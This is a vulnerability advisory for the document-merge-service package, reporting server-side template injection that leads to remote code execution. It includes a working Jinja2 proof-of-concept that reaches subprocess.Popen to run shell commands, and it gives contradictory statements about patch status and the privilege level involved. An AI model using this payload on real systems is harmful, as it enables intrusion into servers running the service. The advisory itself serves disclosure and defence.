Affected: adfinis document-merge-service, adfinis document_merge_service

Document Merge Service is a document template merge service providing an API to manage templates and merge them with given data. Versions 6.5.1 and prior are vulnerable to remote code execution via server-side template injection which, when executed as root, can result in full takeover of the affected system. As of time of publication, no patched version exists, nor have any known workarounds been disclosed.

Affected: PyPI: document-merge-service

### Impact _What kind of vulnerability is it? Who is impacted?_

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

### Patches _Has the problem been patched? What versions should users upgrade to?_

It has been patched in v6.5.2

### References _Are there any links users can visit to find out more?_

- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

### POC

Add the following to a document, upload and render it:

```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %} ```

The index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.